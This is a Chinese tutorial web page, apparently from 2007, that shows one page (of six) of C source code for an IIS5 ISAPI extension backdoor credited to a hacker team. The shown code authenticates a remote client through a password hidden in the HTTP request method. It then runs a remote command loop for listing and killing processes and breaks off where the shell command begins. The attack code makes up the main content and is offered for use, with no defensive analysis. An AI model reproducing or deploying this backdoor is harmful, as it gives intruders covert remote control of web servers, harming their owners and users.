e股脑电脑教程网
  • 首 页
  • 操作系统
  • 应用软件
  • 下载工具
  • 影音视频
  • 办公软件
  • 媒体制作
  • 网站建设
  • 平面设计
  • 数据库
  • 程序开发
  • 视频教程
编辑推荐: | 文章搜索:
您现在的位置: e股脑 >> 数据库 >> Mssql教程 >> IIS5 ISAPI Extension Back Door >> 教程正文
 
教程搜索
 
 
相关教程
  • 你知道MySQL10条鲜为人知的技巧吗?
  • 你应该知道的10个MySQL客户启动选项
  • 用特殊的MySQL运算符获得更多数据比较
  • MySQL数据库中与 NULL值有关的几个问题
  • 教你快速了解公共MySQL的数据库服务器
  • MySQL 5.0在windows上的安装详细介绍
  • MySQL查询的性能优化
  • Linux操作系统中如何安装MySQL数据库
  • 23道安全门加铸MySQL数据库
  • MySQL 5.0 数据库新特性的存储过程
  • 从Windows命令行启动MySQL
  • 连接MySQL数据库失败频繁的原因
  • 加速动态网站 MySQL索引分析和优化
  • 轻松掌握如何保护MySQL中的重要数据
  • 快速掌握MySQL数据库中Show命令的用法
  • MySQL数据库的安全配置实用技巧
 
 

图文教程


  • Windows抢了谁的饭碗 非主流操作系统To

  • 地球还是火星 平常心看“非主流”

  • 综合运用Office 2007批量制作奖状

  • 没有系统盘如何才能修复受损系统?

  • 巧妙运用Excel中边界的附加功能!
 
 
赞 助 商
 
 
IIS5 ISAPI Extension Back Door
  • 来源:e股脑
  • 点击次数:
  • 更新时间:2007-8-9
dule,

DWORD ul_reason_for_call,

LPVOID lpReserved )

{

return TRUE;

}

//版本信息

BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)

{

pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);

strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );

return TRUE;

}

BOOL WINAPI TerminateExtension( DWORD dwFlags )


{

return TRUE;

}

DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)

{

char buff[BUFFSIZE] = { 0 };

char *err = "Error...\n";

char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";

DWORD dwBytes = 64;

//获取客户端密码,连接到web服务器,发送请求,请求方式为密码

pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );

if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )

{

SendToClient( pECB , err );

return HSE_STATUS_SUCCESS;

}

#ifdef DEBUG

LogStrToFile( "-------------------------------\n" );

LogStrToFile( "客户端成功登陆\n" );

#endif

SendToClient( pECB , helo );

SendToClient( pECB , FLAG );

while(TRUE)

{

ZeroMemory( buff , BUFFSIZE );

dwBytes = BUFFSIZE;

while( buff[0] == '' )//判断是否是空串

{

Sleep(1000);

pECB->ReadClient( pECB->ConnID , buff , &dwBytes );

}

if( strcmp( buff , "exit\n" ) == 0 )

{

SendToClient( pECB , "ByeBye...\n" );

break;

}

SwitchCmd( pECB , buff );

}

return HSE_STATUS_SUCCESS;

}

void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )

{

WORKARG workArg;

HANDLE hThread = NULL;

DWORD threadID = 0;


//SendToClient( pECB , "客户端命令: " );

//SendToClient( pECB , buff );

#ifdef DEBUG

LogStrToFile( "客户端命令: " );

LogStrToFile( buff );

#endif

//去掉命令里面的回车符

*(strchr( buff , '\n' )) = '';

//参数不能超过ARGSIZE

if( strlen( buff+5 ) >= ARGSIZE )

{

SendToClient( pECB , "Arguments is too long...\n" );

SendToClient( pECB , FLAG );

return;

}

//将要传递给新线程的参数清空

ZeroMemory( workArg.arg , sizeof(workArg.arg) );

//如果是pslist命令,列举进程

if( StartWith(buff , "pslist") )

{

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)PsList ,

(LPVOID)pECB ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程列举进程失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "List process error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 6000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//kill命令,杀进程

else if( StartWith(buff , "kill") )

{

//如果没有参数

if( *( buff+5 ) == '' )

{

SendToClient( pECB , "Usage:kill pid\n" );

SendToClient( pECB , FLAG );


return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Kill ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程杀进程失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Kill process error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 5000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//shell命令,

上一页  1 2 3 4 5 6 下一页
  • 上一篇教程: char与varchar的区别
  • 下一篇教程: mysql数据库连接过多的错误,可能的原因分析及解决办法
  •  

    关于本站 | 广告联系 | 版权声明 | 使用帮助

    Copyright © 2004-2008 www.egunao.com All rights reserved.